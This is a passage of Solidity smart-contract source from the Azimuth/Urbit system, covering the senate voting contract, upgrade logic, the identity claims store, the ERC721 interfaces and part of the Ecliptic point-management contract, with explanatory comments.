in which this doesn't hold return c; } function sub(uint16 a, uint16 b) internal pure returns (uint16) { assert(b <= a); return a - b; } function add(uint16 a, uint16 b) internal pure returns (uint16) { uint16 c = a + b; assert(c >= a); return c; } } // Polls: proposals & votes data contract // // This contract is used for storing all data related to the proposals // of the senate (galaxy owners) and their votes on those proposals. // It keeps track of votes and uses them to calculate whether a majority // is in favor of a proposal. // // Every galaxy can only vote on a proposal exactly once. Votes cannot // be changed. If a proposal fails to achieve majority within its // duration, it can be restarted after its cooldown period has passed. // // The requirements for a proposal to achieve majority are as follows: // - At least 1/4 of the currently active voters (rounded down) must have // voted in favor of the proposal, // - More than half of the votes cast must be in favor of the proposal, // and this can no longer change, either because // - the poll duration has passed, or // - not enough voters remain to take away the in-favor majority. // As soon as these conditions are met, no further interaction with // the proposal is possible. Achieving majority is permanent. // // Since data stores are difficult to upgrade, all of the logic unrelated // to the voting itself (that is, determining who is eligible to vote) // is expected to be implemented by this contract's owner. // // This contract will be owned by the Ecliptic contract. // contract Polls is Ownable { using SafeMath for uint256; using SafeMath16 for uint16; using SafeMath8 for uint8; // UpgradePollStarted: a poll on :proposal has opened // event UpgradePollStarted(address proposal); // DocumentPollStarted: a poll on :proposal has opened // event DocumentPollStarted(bytes32 proposal); // UpgradeMajority: :proposal has achieved majority // event UpgradeMajority(address proposal); // DocumentMajority: :proposal has achieved majority // event DocumentMajority(bytes32 proposal); // Poll: full poll state // struct Poll { // start: the timestamp at which the poll was started // uint256 start; // voted: per galaxy, whether they have voted on this poll // bool[256] voted; // yesVotes: amount of votes in favor of the proposal // uint16 yesVotes; // noVotes: amount of votes against the proposal // uint16 noVotes; // duration: amount of time during which the poll can be voted on // uint256 duration; // cooldown: amount of time before the (non-majority) poll can be reopened // uint256 cooldown; } // pollDuration: duration set for new polls. see also Poll.duration above // uint256 public pollDuration; // pollCooldown: cooldown set for new polls. see also Poll.cooldown above // uint256 public pollCooldown; // totalVoters: amount of active galaxies // uint16 public totalVoters; // upgradeProposals: list of all upgrades ever proposed // // this allows clients to discover the existence of polls. // from there, they can do liveness checks on the polls themselves. // address[] public upgradeProposals; // upgradePolls: per address, poll held to determine if that address // will become the new ecliptic // mapping(address => Poll) public upgradePolls; // upgradeHasAchievedMajority: per address, whether that address // has ever achieved majority // // If we did not store this, we would have to look at old poll data // to see whether or not a proposal has ever achieved majority. // Since the outcome of a poll is calculated based on :totalVoters, // which may not be consistent across time, we need to store outcomes // explicitly instead of re-calculating them. This allows us to always // tell with certainty whether or not a majority was achieved, // regardless of the current :totalVoters. // mapping(address => bool) public upgradeHasAchievedMajority; // documentProposals: list of all documents ever proposed // // this allows clients to discover the existence of polls. // from there, they can do liveness checks on the polls themselves. // bytes32[] public documentProposals; // documentPolls: per hash, poll held to determine if the corresponding // document is accepted by the galactic senate // mapping(bytes32 => Poll) public documentPolls; // documentHasAchievedMajority: per hash, whether that hash has ever // achieved majority // // the note for upgradeHasAchievedMajority above applies here as well // mapping(bytes32 => bool) public documentHasAchievedMajority; // documentMajorities: all hashes that have achieved majority // bytes32[] public documentMajorities; // constructor(): initial contract configuration // constructor(uint256 _pollDuration, uint256 _pollCooldown) public { reconfigure(_pollDuration, _pollCooldown); } // reconfigure(): change poll duration and cooldown // function reconfigure(uint256 _pollDuration, uint256 _pollCooldown) public onlyOwner { require( (5 days <= _pollDuration) && (_pollDuration <= 90 days) && (5 days <= _pollCooldown) && (_pollCooldown <= 90 days) ); pollDuration = _pollDuration; pollCooldown = _pollCooldown; } // incrementTotalVoters(): increase the amount of registered voters // function incrementTotalVoters() external onlyOwner { require(totalVoters < 256); totalVoters = totalVoters.add(1); } // getAllUpgradeProposals(): return array of all upgrade proposals ever made // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getUpgradeProposals() external view returns (address[] proposals) { return upgradeProposals; } // getUpgradeProposalCount(): get the number of unique proposed upgrades // function getUpgradeProposalCount() external view returns (uint256 count) { return upgradeProposals.length; } // getAllDocumentProposals(): return array of all upgrade proposals ever made // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getDocumentProposals() external view returns (bytes32[] proposals) { return documentProposals; } // getDocumentProposalCount(): get the number of unique proposed upgrades // function getDocumentProposalCount() external view returns (uint256 count) { return documentProposals.length; } // getDocumentMajorities(): return array of all document majorities // // Note: only useful for clients, as Solidity does not currently // support returning dynamic arrays. // function getDocumentMajorities() external view returns (bytes32[] majorities) { return documentMajorities; } // hasVotedOnUpgradePoll(): returns true if _galaxy has voted // on the _proposal // function hasVotedOnUpgradePoll(uint8 _galaxy, address _proposal) external view returns (bool result) { return upgradePolls[_proposal].voted[_galaxy]; } // hasVotedOnDocumentPoll(): returns true if _galaxy has voted // on the _proposal // function hasVotedOnDocumentPoll(uint8 _galaxy, bytes32 _proposal) external view returns (bool result) { return documentPolls[_proposal].voted[_galaxy]; } // startUpgradePoll(): open a poll on making _proposal the new ecliptic // function startUpgradePoll(address _proposal) external onlyOwner { // _proposal must not have achieved majority before // require(!upgradeHasAchievedMajority[_proposal]); Poll storage poll = upgradePolls[_proposal]; // if the proposal is being made for the first time, register it. // if (0 == poll.start) { upgradeProposals.push(_proposal); } startPoll(poll); emit UpgradePollStarted(_proposal); } // startDocumentPoll(): open a poll on accepting the document // whose hash is _proposal // function startDocumentPoll(bytes32 _proposal) external onlyOwner { // _proposal must not have achieved majority before // require(!documentHasAchievedMajority[_proposal]); Poll storage poll = documentPolls[_proposal]; // if the proposal is being made for the first time, register it. // if (0 == poll.start) { documentProposals.push(_proposal); } startPoll(poll); emit DocumentPollStarted(_proposal); } // startPoll(): open a new poll, or re-open an old one // function startPoll(Poll storage _poll) internal { // check that the poll has cooled down enough to be started again // // for completely new polls, the values used will be zero // require( block.timestamp > ( _poll.start.add( _poll.duration.add( _poll.cooldown )) ) ); // set started poll state // _poll.start = block.timestamp; delete _poll.voted; _poll.yesVotes = 0; _poll.noVotes = 0; _poll.duration = pollDuration; _poll.cooldown = pollCooldown; } // castUpgradeVote(): as galaxy _as, cast a vote on the _proposal // // _vote is true when in favor of the proposal, false otherwise // function castUpgradeVote(uint8 _as, address _proposal, bool _vote) external onlyOwner returns (bool majority) { Poll storage poll = upgradePolls[_proposal]; processVote(poll, _as, _vote); return updateUpgradePoll(_proposal); } // castDocumentVote(): as galaxy _as, cast a vote on the _proposal // // _vote is true when in favor of the proposal, false otherwise // function castDocumentVote(uint8 _as, bytes32 _proposal, bool _vote) external onlyOwner returns (bool majority) { Poll storage poll = documentPolls[_proposal]; processVote(poll, _as, _vote); return updateDocumentPoll(_proposal); } // processVote(): record a vote from _as on the _poll // function processVote(Poll storage _poll, uint8 _as, bool _vote) internal { // assist symbolic execution tools // assert(block.timestamp >= _poll.start); require( // may only vote once // !_poll.voted[_as] && // // may only vote when the poll is open // (block.timestamp < _poll.start.add(_poll.duration)) ); // update poll state to account for the new vote // _poll.voted[_as] = true; if (_vote) { _poll.yesVotes = _poll.yesVotes.add(1); } else { _poll.noVotes = _poll.noVotes.add(1); } } // updateUpgradePoll(): check whether the _proposal has achieved // majority, updating state, sending an event, // and returning true if it has // function updateUpgradePoll(address _proposal) public onlyOwner returns (bool majority) { // _proposal must not have achieved majority before // require(!upgradeHasAchievedMajority[_proposal]); // check for majority in the poll // Poll storage poll = upgradePolls[_proposal]; majority = checkPollMajority(poll); // if majority was achieved, update the state and send an event // if (majority) { upgradeHasAchievedMajority[_proposal] = true; emit UpgradeMajority(_proposal); } return majority; } // updateDocumentPoll(): check whether the _proposal has achieved majority, // updating the state and sending an event if it has // // this can be called by anyone, because the ecliptic does not // need to be aware of the result // function updateDocumentPoll(bytes32 _proposal) public returns (bool majority) { // _proposal must not have achieved majority before // require(!documentHasAchievedMajority[_proposal]); // check for majority in the poll // Poll storage poll = documentPolls[_proposal]; majority = checkPollMajority(poll); // if majority was achieved, update state and send an event // if (majority) { documentHasAchievedMajority[_proposal] = true; documentMajorities.push(_proposal); emit DocumentMajority(_proposal); } return majority; } // checkPollMajority(): returns true if the majority is in favor of // the subject of the poll // function checkPollMajority(Poll _poll) internal view returns (bool majority) { return ( // poll must have at least the minimum required yes-votes // (_poll.yesVotes >= (totalVoters / 4)) && // // and have a majority... // (_poll.yesVotes > _poll.noVotes) && // // ...that is indisputable // ( // either because the poll has ended // (block.timestamp > _poll.start.add(_poll.duration)) || // // or there are more yes votes than there can be no votes // ( _poll.yesVotes > totalVoters.sub(_poll.yesVotes) ) ) ); } } // EclipticBase: upgradable ecliptic // // This contract implements the upgrade logic for the Ecliptic. // Newer versions of the Ecliptic are expected to provide at least // the onUpgrade() function. If they don't, upgrading to them will // fail. // // Note that even though this contract doesn't specify any required // interface members aside from upgrade() and onUpgrade(), contracts // and clients may still rely on the presence of certain functions // provided by the Ecliptic proper. Keep this in mind when writing // new versions of it. // contract EclipticBase is Ownable, ReadsAzimuth { // Upgraded: _to is the new canonical Ecliptic // event Upgraded(address to); // polls: senate voting contract // Polls public polls; // previousEcliptic: address of the previous ecliptic this // instance expects to upgrade from, stored and // checked for to prevent unexpected upgrade paths // address public previousEcliptic; constructor( address _previous, Azimuth _azimuth, Polls _polls ) ReadsAzimuth(_azimuth) internal { previousEcliptic = _previous; polls = _polls; } // onUpgrade(): called by previous ecliptic when upgrading // // in future ecliptics, this might perform more logic than // just simple checks and verifications. // when overriding this, make sure to call this original as well. // function onUpgrade() external { // make sure this is the expected upgrade path, // and that we have gotten the ownership we require // require( msg.sender == previousEcliptic && this == azimuth.owner() && this == polls.owner() ); } // upgrade(): transfer ownership of the ecliptic data to the new // ecliptic contract, notify it, then self-destruct. // // Note: any eth that have somehow ended up in this contract // are also sent to the new ecliptic. // function upgrade(EclipticBase _new) internal { // transfer ownership of the data contracts // azimuth.transferOwnership(_new); polls.transferOwnership(_new); // trigger upgrade logic on the target contract // _new.onUpgrade(); // emit event and destroy this contract // emit Upgraded(_new); selfdestruct(_new); } } // simple claims store // https://azimuth.network // Claims: simple identity management // // This contract allows points to document claims about their owner. // Most commonly, these are about identity, with a claim's protocol // defining the context or platform of the claim, and its dossier // containing proof of its validity. // Points are limited to a maximum of 16 claims. // // For existing claims, the dossier can be updated, or the claim can // be removed entirely. It is recommended to remove any claims associated // with a point when it is about to be transferred to a new owner. // For convenience, the owner of the Azimuth contract (the Ecliptic) // is allowed to clear claims for any point, allowing it to do this for // you on-transfer. // contract Claims is ReadsAzimuth { // ClaimAdded: a claim was added by :by // event ClaimAdded( uint32 indexed by, string _protocol, string _claim, bytes _dossier ); // ClaimRemoved: a claim was removed by :by // event ClaimRemoved(uint32 indexed by, string _protocol, string _claim); // maxClaims: the amount of claims that can be registered per point // uint8 constant maxClaims = 16; // Claim: claim details // struct Claim { // protocol: context of the claim // string protocol; // claim: the claim itself // string claim; // dossier: data relating to the claim, as proof // bytes dossier; } // per point, list of claims // mapping(uint32 => Claim[maxClaims]) public claims; // constructor(): register the azimuth contract. // constructor(Azimuth _azimuth) ReadsAzimuth(_azimuth) public { // } // addClaim(): register a claim as _point // function addClaim(uint32 _point, string _protocol, string _claim, bytes _dossier) external activePointManager(_point) { // cur: index + 1 of the claim if it already exists, 0 otherwise // uint8 cur = findClaim(_point, _protocol, _claim); // if the claim doesn't yet exist, store it in state // if (cur == 0) { // if there are no empty slots left, this throws // uint8 empty = findEmptySlot(_point); claims[_point][empty] = Claim(_protocol, _claim, _dossier); } // // if the claim has been made before, update the version in state // else { claims[_point][cur-1] = Claim(_protocol, _claim, _dossier); } emit ClaimAdded(_point, _protocol, _claim, _dossier); } // removeClaim(): unregister a claim as _point // function removeClaim(uint32 _point, string _protocol, string _claim) external activePointManager(_point) { // i: current index + 1 in _point's list of claims // uint256 i = findClaim(_point, _protocol, _claim); // we store index + 1, because 0 is the eth default value // can only delete an existing claim // require(i > 0); i--; // clear out the claim // delete claims[_point][i]; emit ClaimRemoved(_point, _protocol, _claim); } // clearClaims(): unregister all of _point's claims // // can also be called by the ecliptic during point transfer // function clearClaims(uint32 _point) external { // both point owner and ecliptic may do this // // We do not necessarily need to check for _point's active flag here, // since inactive points cannot have claims set. Doing the check // anyway would make this function slightly harder to think about due // to its relation to Ecliptic's transferPoint(). // require( azimuth.canManage(_point, msg.sender) || ( msg.sender == azimuth.owner() ) ); Claim[maxClaims] storage currClaims = claims[_point]; // clear out all claims // for (uint8 i = 0; i < maxClaims; i++) { delete currClaims[i]; } } // findClaim(): find the index of the specified claim // // returns 0 if not found, index + 1 otherwise // function findClaim(uint32 _whose, string _protocol, string _claim) public view returns (uint8 index) { // we use hashes of the string because solidity can't do string // comparison yet // bytes32 protocolHash = keccak256(bytes(_protocol)); bytes32 claimHash = keccak256(bytes(_claim)); Claim[maxClaims] storage theirClaims = claims[_whose]; for (uint8 i = 0; i < maxClaims; i++) { Claim storage thisClaim = theirClaims[i]; if ( ( protocolHash == keccak256(bytes(thisClaim.protocol)) ) && ( claimHash == keccak256(bytes(thisClaim.claim)) ) ) { return i+1; } } return 0; } // findEmptySlot(): find the index of the first empty claim slot // // returns the index of the slot, throws if there are no empty slots // function findEmptySlot(uint32 _whose) internal view returns (uint8 index) { Claim[maxClaims] storage theirClaims = claims[_whose]; for (uint8 i = 0; i < maxClaims; i++) { Claim storage thisClaim = theirClaims[i]; if ( (0 == bytes(thisClaim.protocol).length) && (0 == bytes(thisClaim.claim).length) ) { return i; } } revert(); } } /** * @title SupportsInterfaceWithLookup * @author Matt Condon (@shrugs) * @dev Implements ERC165 using a lookup table. */ contract SupportsInterfaceWithLookup is ERC165 { bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7; /** * 0x01ffc9a7 === * bytes4(keccak256('supportsInterface(bytes4)')) */ /** * @dev a mapping of interface id to whether or not it's supported */ mapping(bytes4 => bool) internal supportedInterfaces; /** * @dev A contract implementing SupportsInterfaceWithLookup * implement ERC165 itself */ constructor() public { _registerInterface(InterfaceId_ERC165); } /** * @dev implement supportsInterface(bytes4) using a lookup table */ function supportsInterface(bytes4 _interfaceId) external view returns (bool) { return supportedInterfaces[_interfaceId]; } /** * @dev private method for registering an interface */ function _registerInterface(bytes4 _interfaceId) internal { require(_interfaceId != 0xffffffff); supportedInterfaces[_interfaceId] = true; } } /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Basic is ERC165 { bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd; /* * 0x80ac58cd === * bytes4(keccak256('balanceOf(address)')) ^ * bytes4(keccak256('ownerOf(uint256)')) ^ * bytes4(keccak256('approve(address,uint256)')) ^ * bytes4(keccak256('getApproved(uint256)')) ^ * bytes4(keccak256('setApprovalForAll(address,bool)')) ^ * bytes4(keccak256('isApprovedForAll(address,address)')) ^ * bytes4(keccak256('transferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) */ bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79; /* * 0x4f558e79 === * bytes4(keccak256('exists(uint256)')) */ bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63; /** * 0x780e9d63 === * bytes4(keccak256('totalSupply()')) ^ * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ * bytes4(keccak256('tokenByIndex(uint256)')) */ bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f; /** * 0x5b5e139f === * bytes4(keccak256('name()')) ^ * bytes4(keccak256('symbol()')) ^ * bytes4(keccak256('tokenURI(uint256)')) */ event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Metadata is ERC721Basic { function name() external view returns (string _name); function symbol() external view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } /** * @title ERC-721 Non-Fungible Token Standard, full implementation interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract ERC721Receiver { /** * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` */ bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the contract address is always the message sender. * @param _operator The address which called `safeTransferFrom` function * @param _from The address which previously owned the token * @param _tokenId The NFT identifier which is being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param _addr address to check * @return whether the target address is a contract */ function isContract(address _addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(_addr) } return size > 0; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // Ecliptic: logic for interacting with the Azimuth ledger // // This contract is the point of entry for all operations on the Azimuth // ledger as stored in the Azimuth data contract. The functions herein // are responsible for performing all necessary business logic. // Examples of such logic include verifying permissions of the caller // and ensuring a requested change is actually valid. // Point owners can always operate on their own points. Ethereum addresses // can also perform specific operations if they've been given the // appropriate permissions. (For example, managers for general management, // spawn proxies for spawning child points, etc.) // // This contract uses external contracts (Azimuth, Polls) for data storage // so that it itself can easily be replaced in case its logic needs to // be changed. In other words, it can be upgraded. It does this by passing // ownership of the data contracts to a new Ecliptic contract. // // Because of this, it is advised for clients to not store this contract's // address directly, but rather ask the Azimuth contract for its owner // attribute to ensure transactions get sent to the latest Ecliptic. // Alternatively, the ENS name ecliptic.eth will resolve to the latest // Ecliptic as well. // // Upgrading happens based on polls held by the senate (galaxy owners). // Through this contract, the senate can submit proposals, opening polls // for the senate to cast votes on. These proposals can be either hashes // of documents or addresses of new Ecliptics. // If an ecliptic proposal gains majority, this contract will transfer // ownership of the data storage contracts to that address, so that it may // operate on the data they contain. This contract will selfdestruct at // the end of the upgrade process. // // This contract implements the ERC721 interface for non-fungible tokens, // allowing points to be managed using generic clients that support the // standard. It also implements ERC165 to allow this to be discovered. // contract Ecliptic is EclipticBase, SupportsInterfaceWithLookup, ERC721Metadata { using SafeMath for uint256; using AddressUtils for address; // Transfer: This emits when ownership of any NFT changes by any mechanism. // This event emits when NFTs are created (`from` == 0) and // destroyed (`to` == 0). At the time of any transfer, the // approved address for that NFT (if any) is reset to none. // event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); // Approval: This emits when the approved address for an NFT is changed or // reaffirmed. The zero address indicates there is no approved // address. When a Transfer event emits, this also indicates that // the approved address for that NFT (if any) is reset to none. // event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); // ApprovalForAll: This emits when an operator is enabled or disabled for an // owner. The operator can manage all NFTs of the owner. // event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); // erc721Received: equal to: // bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")) // which can be also obtained as: // ERC721Receiver(0).onERC721Received.selector` bytes4 constant erc721Received = 0x150b7a02; // claims: contract reference, for clearing claims on-transfer // Claims public claims; // constructor(): set data contract addresses and signal interface support // // Note: during first deploy, ownership of these data contracts must // be manually transferred to this contract. // constructor(address _previous, Azimuth _azimuth, Polls _polls, Claims _claims) EclipticBase(_previous, _azimuth, _polls) public { claims = _claims; // register supported interfaces for ERC165 // _registerInterface(0x80ac58cd); // ERC721 _registerInterface(0x5b5e139f); // ERC721Metadata _registerInterface(0x7f5828d0); // ERC173 (ownership) } // // ERC721 interface // // balanceOf(): get the amount of points owned by _owner // function balanceOf(address _owner) public view returns (uint256 balance) { require(0x0 != _owner); return azimuth.getOwnedPointCount(_owner); } // ownerOf(): get the current owner of point _tokenId // function ownerOf(uint256 _tokenId) public view validPointId(_tokenId) returns (address owner) { uint32 id = uint32(_tokenId); // this will throw if the owner is the zero address, // active points always have a valid owner. // require(azimuth.isActive(id)); return azimuth.getOwner(id); } // exists(): returns true if point _tokenId is active // function exists(uint256 _tokenId) public view returns (bool doesExist) { return ( (_tokenId < 0x100000000) && azimuth.isActive(uint32(_tokenId)) ); } // safeTransferFrom(): transfer point _tokenId from _from to _to // function safeTransferFrom(address _from, address _to, uint256 _tokenId) public { // transfer with empty data // safeTransferFrom(_from, _to, _tokenId, ""); } // safeTransferFrom(): transfer point _tokenId from _from to _to, // and call recipient if it's a contract // function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public { // perform raw transfer // transferFrom(_from, _to, _tokenId); // do the callback last to avoid re-entrancy // if (_to.isContract()) { bytes4 retval = ERC721Receiver(_to) .onERC721Received(msg.sender, _from, _tokenId, _data); // // standard return idiom to confirm contract semantics // require(retval == erc721Received); } } // transferFrom(): transfer point _tokenId from _from to _to, // WITHOUT notifying recipient contract // function transferFrom(address _from, address _to, uint256 _tokenId) public validPointId(_tokenId) { uint32 id = uint32(_tokenId); require(azimuth.isOwner(id, _from)); // the ERC721 operator/approved address (if any) is // accounted for in transferPoint() // transferPoint(id, _to, true); } // approve(): allow _approved to transfer ownership of point // _tokenId // function approve(address _approved, uint256 _tokenId) public validPointId(_tokenId) { setTransferProxy(uint32(_tokenId), _approved); } // setApprovalForAll(): allow or disallow _operator to // transfer ownership of ALL points // owned by :msg.sender // function setApprovalForAll(address _operator, bool _approved) public { require(0x0 != _operator); azimuth.setOperator(msg.sender, _operator, _approved); emit ApprovalForAll(msg.sender, _operator, _approved); } // getApproved(): get the approved address for point _tokenId // function getApproved(uint256 _tokenId) public view validPointId(_tokenId) returns (address approved) { //NOTE redundant, transfer proxy cannot be set for // inactive points // require(azimuth.isActive(uint32(_tokenId))); return azimuth.getTransferProxy(uint32(_tokenId)); } // isApprovedForAll(): returns true if _operator is an // operator for _owner // function isApprovedForAll(address _owner, address _operator) public view returns (bool result) { return azimuth.isOperator(_owner, _operator); } // // ERC721Metadata interface // // name(): returns the name of a collection of points // function name() external view returns (string) { return "Azimuth Points"; } // symbol(): returns an abbreviates name for points // function symbol() external view returns (string) { return "AZP"; } // tokenURI(): returns a URL to an ERC-721 standard JSON file // function tokenURI(uint256 _tokenId) public view validPointId(_tokenId) returns (string _tokenURI) { _tokenURI = "https://azimuth.network/erc721/0000000000.json"; bytes memory _tokenURIBytes = bytes(_tokenURI); _tokenURIBytes[31] = byte(48+(_tokenId / 1000000000) % 10); _tokenURIBytes[32] = byte(48+(_tokenId / 100000000) % 10); _tokenURIBytes[33] = byte(48+(_tokenId / 10000000) % 10); _tokenURIBytes[34] = byte(48+(_tokenId / 1000000) % 10); _tokenURIBytes[35] = byte(48+(_tokenId / 100000) % 10); _tokenURIBytes[36] = byte(48+(_tokenId / 10000) % 10); _tokenURIBytes[37] = byte(48+(_tokenId / 1000) % 10); _tokenURIBytes[38] = byte(48+(_tokenId / 100) % 10); _tokenURIBytes[39] = byte(48+(_tokenId / 10) % 10); _tokenURIBytes[40] = byte(48+(_tokenId / 1) % 10); } // // Points interface // // configureKeys(): configure _point with network public keys // _encryptionKey, _authenticationKey, // and corresponding _cryptoSuiteVersion, // incrementing the point's continuity number if needed // function configureKeys(uint32 _point, bytes32 _encryptionKey, bytes32 _authenticationKey, uint32 _cryptoSuiteVersion, bool _discontinuous) external activePointManager(_point) { if (_discontinuous) { azimuth.incrementContinuityNumber(_point); } azimuth.setKeys(_point, _encryptionKey, _authenticationKey, _cryptoSuiteVersion); } // spawn(): spawn _point, then either give, or allow _target to take, // ownership of _point // // if _target is the :msg.sender, _targets owns the _point right away. // otherwise, _target becomes the transfer proxy of _point. // // Requirements: // - _point must not be active // - _point must not be a planet with a galaxy prefix // - _point's prefix must be linked and under its spawn limit // - :msg.sender must be either the owner of _point's prefix, // or an authorized spawn proxy for it // function spawn(uint32 _point, address _target) external { // only currently unowned (and thus also inactive) points can be spawned // require(azimuth.isOwner(_point, 0x0)); // prefix: half-width prefix of _point // uint16 prefix = azimuth.getPrefix(_point); // only allow spawning of points of the size directly below the prefix // // this is possible because of how the address space works, // but supporting it introduces complexity through broken assumptions. // // example: // 0x0000.0000 - galaxy zero // 0x0000.0100 - the first star of galaxy zero // 0x0001.0100 - the first planet of the first star // 0x0001.0000 - the first planet of galaxy zero // require( (uint8(azimuth.getPointSize(prefix)) + 1) == uint8(azimuth.getPointSize(_point)) ); // prefix point must be linked and able to spawn // require( (azimuth.hasBeenLinked(prefix)) && ( azimuth.getSpawnCount(prefix) < getSpawnLimit(prefix, block.timestamp) ) ); // the owner of a prefix can always spawn its children; // other addresses need explicit permission (the role // of "spawnProxy" in the Azimuth contract) // require( azimuth.canSpawnAs(prefix, msg.sender) ); // if the caller is spawning the point to themselves, // assume it knows what it's doing and resolve right away // if (msg.sender == _target) { doSpawn(_point, _target, true, 0x0); } // // when sending to a "foreign" address, enforce a withdraw pattern // making the _point prefix's owner the _point owner in the mean time // else { doSpawn(_point, _target, false, azimuth.getOwner(prefix)); } } // doSpawn(): actual spawning logic, used in spawn(). creates _point, // making the _target its owner if _direct, or making the // _holder the owner and the _target the transfer proxy // if not _direct. // function doSpawn( uint32 _point, address _target, bool _direct, address _holder ) internal { // register the spawn for _point's prefix, incrementing spawn count // azimuth.registerSpawned(_point); // if the spawn is _direct, assume _target knows what they're doing // and resolve right away // if (_direct) { // make the point active and set its new owner // azimuth.activatePoint(_point); azimuth.setOwner(_point, _target); emit Transfer(0x0, _target, uint256(_point)); } // // when spawning indirectly, enforce a withdraw pattern by approving // the _target for transfer of the _point instead. // we make the _holder the owner of this _point in the mean time, // so that it may cancel the transfer (un-approve) if _target flakes. // we don't make _point active yet, because it still doesn't really // belong to anyone. // else { // have _holder hold on to the _point while _target gets to transfer // ownership of it // azimuth.setOwner(_point, _holder); azimuth.setTransferProxy(_point, _target); emit Transfer(0x0, _holder, uint256(_point)); emit Approval(_holder, _target, uint256(_point)); } } // transferPoint(): transfer _point to _target, clearing all permissions // data and keys if _reset is true // // Note: the _reset flag is useful when transferring the point to // a recipient who doesn't trust the previous owner. // // Requirements: // - :msg.sender must be either _point's current owner, authorized // to transfer _point, or authorized to transfer the current // owner's points (as in ERC721's operator) // - _target must not be the zero address // function transferPoint(uint32 _point, address _target, bool _reset) public { // transfer is legitimate if the caller is the current owner, or // an operator for the current owner, or the _point's transfer proxy // require(azimuth.canTransfer(_point, msg.sender)); // if the point wasn't active yet, that means transferring it // is part of the "spawn" flow, so we need to activate it // if ( !azimuth.isActive(_point) ) { azimuth.activatePoint(_point); } // if the owner would actually change, change it // // the only time this deliberately wouldn't be the case is when a // prefix owner wants to activate a spawned but untransferred child. // if ( !azimuth.isOwner(_point, _target) ) { // remember the previous owner, to be included in the Transfer event // address old = azimuth.getOwner(_point); azimuth.setOwner(_point, _target); // according to ERC721, the approved address (here, transfer proxy) // gets cleared during every Transfer event // azimuth.setTransferProxy(_point, 0); emit Transfer(old, _target, uint256(_point)); } // reset sensitive data // used when transferring the point to a new owner // if ( _reset ) { // clear the network public keys and break continuity, // but only if the point has already been linked // if ( 